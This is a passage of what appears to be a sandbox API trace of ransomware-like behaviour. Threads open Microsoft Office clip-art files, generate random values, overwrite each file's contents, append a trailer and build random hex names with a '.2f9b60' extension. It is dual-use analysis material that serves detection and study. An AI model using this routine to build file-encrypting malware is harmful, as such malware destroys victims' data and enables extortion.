returned 0xc10aa44 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x334aa2b5 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x68a8af48 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x6258b90f [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x7e8b367d [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x24da2f23 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x507b211 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x28a3acc4 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x1bae156 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x1889b2c6 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x4ecd5f10 [0123.665] ReadFile (in: hFile=0x1838, lpBuffer=0x41b53cc0, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x1db5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x41b53cc0*, lpNumberOfBytesRead=0x1db5fcb0*=0x30e8, lpOverlapped=0x0) returned 1 [0123.977] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.977] WriteFile (in: hFile=0x1838, lpBuffer=0x41d8c1b0*, nNumberOfBytesToWrite=0x30e8, lpNumberOfBytesWritten=0x1db5fcb4, lpOverlapped=0x0 | out: lpBuffer=0x41d8c1b0*, lpNumberOfBytesWritten=0x1db5fcb4*=0x30e8, lpOverlapped=0x0) returned 1 [0161.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a33e0 [0161.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3410 [0161.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3410) returned 1 [0161.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d8c1b0) returned 1 [0161.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b53cc0) returned 1 [0161.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505310) returned 1 [0161.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a60) returned 1 [0161.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3410 [0161.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a60 [0161.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505310 [0161.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3440 [0161.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3440) returned 1 [0161.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3440 [0161.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3470 [0161.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a34a0 [0161.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a34a0) returned 1 [0161.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505310) returned 1 [0161.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a60) returned 1 [0161.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13f70 [0161.104] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.104] WriteFile (hFile=0x1838, lpBuffer=0x1ce13f70, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1db5fdd0, lpOverlapped=0x0) [0200.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0200.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0200.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0200.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0200.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0200.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70b0) returned 1 [0200.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0200.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.245] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.245] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="06") returned 2 [0200.245] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.245] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="11") returned 2 [0200.245] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.245] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="99") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="98") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="34") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="20") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="10") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="7f") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="55") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="8e") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="2a") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="53") returned 2 [0200.246] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="f6") returned 2 [0200.246] RtlInitAnsiString (in: DestinationString=0x1db5fe48, SourceString="b1066e111c99983bcf34206aa910ea7f558e7c2ae2b953f6" | out: DestinationString="b1066e111c99983bcf34206aa910ea7f558e7c2ae2b953f6") [0200.246] RtlAnsiStringToUnicodeString (in: DestinationString=0x1db5fe18, SourceString="b1066e111c99983bcf34206aa910ea7f558e7c2ae2b953f6", AllocateDestinationString=1 | out: DestinationString="b1066e111c99983bcf34206aa910ea7f558e7c2ae2b953f6") returned 0x0 [0200.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0670 [0200.247] wcscat (in: _Dest=0x431e4160, _Source="b1066e111c99" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99" [0200.247] wcscat (in: _Dest=0x431e4160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99.2f9b60" [0200.247] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99.2f9b60", NtPathName=0x1db5fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b1066e111c99.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed920 Thread: id = 1484 os_tid = 0x1984 [0120.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0122.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF", dwFileAttributes=0x20) returned 1 [0122.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1100 [0123.490] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x1debfdc0 | out: lpFileSize=0x1debfdc0*=9818) returned 1 [0123.490] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x2656, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.490] ReadFile (in: hFile=0x1100, lpBuffer=0x1debfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1debfd88, lpOverlapped=0x0 | out: lpBuffer=0x1debfd40*, lpNumberOfBytesRead=0x1debfd88*=0x4, lpOverlapped=0x0) returned 1 [0123.797] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea70 [0123.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d960 [0123.797] NtQuerySystemTime (in: CurrentTime=0x1debfc80 | out: CurrentTime=0x1debfc80*=132462177291754000) returned 0x0 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x1670e295 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x71503a16 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x7aa856ff [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x5a315fb [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x6f90d80 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x47f0cb1d [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x61be8cb2 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x71600332 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x3501c0ff [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x7111b7af [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x78f61e31 [0123.797] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x57673ad1 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x68bd0ded [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x196db662 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x71503a16 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x1cfac70d [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x85bea28 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x583847bf [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x5796b59b [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x6c101146 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x5407c12 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x176a6925 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x50c64627 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x21c983b9 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0xf45a4f9 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x3086210c [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x520f10fa [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x245f1934 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x6a35c00 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x67cdd893 [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x1c3a447e [0123.798] RtlRandomEx (in: Seed=0x1debfc70 | out: Seed=0x1debfc70) returned 0x432d3c6b [0124.499] ReadFile (in: hFile=0x1100, lpBuffer=0x41d3d170, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x1debfc70, lpOverlapped=0x0 | out: lpBuffer=0x41d3d170*, lpNumberOfBytesRead=0x1debfc70*=0x265a, lpOverlapped=0x0) returned 1 [0124.885] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.885] WriteFile (hFile=0x1100, lpBuffer=0x41d885a0, nNumberOfBytesToWrite=0x265a, lpNumberOfBytesWritten=0x1debfc74, lpOverlapped=0x0) [0179.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0179.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0179.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0179.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d885a0) returned 1 [0179.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d3d170) returned 1 [0179.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0179.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ec0) returned 1 [0179.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a090 [0179.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ec0 [0179.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0179.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0179.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0179.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859ee0 [0179.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0179.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0179.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0179.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0179.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ec0) returned 1 [0179.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c154d0 [0179.969] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.969] WriteFile (in: hFile=0x1100, lpBuffer=0x42c154d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1debfd90, lpOverlapped=0x0 | out: lpBuffer=0x42c154d0*, lpNumberOfBytesWritten=0x1debfd90*=0x10a, lpOverlapped=0x0) returned 1 [0206.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0206.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0206.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0206.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d320 [0206.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0206.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0206.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0206.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fdf0 [0206.257] sprintf (in: _Dest=0x1cd9fdf0, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdf2, _Format="%c%c" | out: _Dest="09") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdf4, _Format="%c%c" | out: _Dest="ab") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdf6, _Format="%c%c" | out: _Dest="72") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdf8, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdfa, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdfc, _Format="%c%c" | out: _Dest="96") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fdfe, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe00, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe02, _Format="%c%c" | out: _Dest="d1") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe04, _Format="%c%c" | out: _Dest="70") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe06, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe08, _Format="%c%c" | out: _Dest="01") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe0a, _Format="%c%c" | out: _Dest="27") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe0c, _Format="%c%c" | out: _Dest="53") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe0e, _Format="%c%c" | out: _Dest="ef") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe10, _Format="%c%c" | out: _Dest="20") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe12, _Format="%c%c" | out: _Dest="76") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe14, _Format="%c%c" | out: _Dest="f9") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe16, _Format="%c%c" | out: _Dest="07") returned 2 [0206.257] sprintf (in: _Dest=0x1cd9fe18, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.258] sprintf (in: _Dest=0x1cd9fe1a, _Format="%c%c" | out: _Dest="d9") returned 2 [0206.258] sprintf (in: _Dest=0x1cd9fe1c, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.258] sprintf (in: _Dest=0x1cd9fe1e, _Format="%c%c" | out: _Dest="fa") returned 2 [0206.258] RtlInitAnsiString (in: DestinationString=0x1debfe08, SourceString="ff09ab72a79b96d07bd170d2012753ef2076f907fbd9ddfa" | out: DestinationString="ff09ab72a79b96d07bd170d2012753ef2076f907fbd9ddfa") [0206.258] RtlAnsiStringToUnicodeString (in: DestinationString=0x1debfdd8, SourceString="ff09ab72a79b96d07bd170d2012753ef2076f907fbd9ddfa", AllocateDestinationString=1 | out: DestinationString="ff09ab72a79b96d07bd170d2012753ef2076f907fbd9ddfa") returned 0x0 [0206.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f8a0 [0206.258] wcscat (in: _Dest=0x20507cd0, _Source="ff09ab72a79b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b" [0206.259] wcscat (in: _Dest=0x20507cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b.2f9b60" [0206.259] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b.2f9b60", NtPathName=0x1debfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ff09ab72a79b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311baa0 Thread: id = 1485 os_tid = 0x1988 [0120.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0122.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF", dwFileAttributes=0x20) returned 1 [0122.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x182c [0123.492] GetFileSizeEx (in: hFile=0x182c, lpFileSize=0x1e04f940 | out: lpFileSize=0x1e04f940*=7862) returned 1 [0123.492] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x1eb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.492] ReadFile (in: hFile=0x182c, lpBuffer=0x1e04f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e04f908, lpOverlapped=0x0 | out: lpBuffer=0x1e04f8c0*, lpNumberOfBytesRead=0x1e04f908*=0x4, lpOverlapped=0x0) returned 1 [0123.684] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd20 [0123.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f010 [0123.685] NtQuerySystemTime (in: CurrentTime=0x1e04f800 | out: CurrentTime=0x1e04f800*=132462177290662000) returned 0x0 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x7fe7653e [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x75d15599 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x5790f28a [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x114d7703 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x7161e639 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x3d26852b [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x4944272e [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x61be8cb2 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x3747faf1 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x596e4685 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x68a8af48 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x4706fe30 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x3dcd92f9 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x22f520fc [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x596e4685 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x352a163b [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x38084789 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x767016c2 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x1be9398 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x250c2fa6 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x1264a394 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x69e7c9dd [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x64c08f02 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x7d841062 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x2f914532 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x462b26a9 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x71dcfb2 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x5214b265 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: Seed=0x1e04f7f0) returned 0x3f827657 [0123.685] RtlRandomEx (in: Seed=0x1e04f7f0 | out: 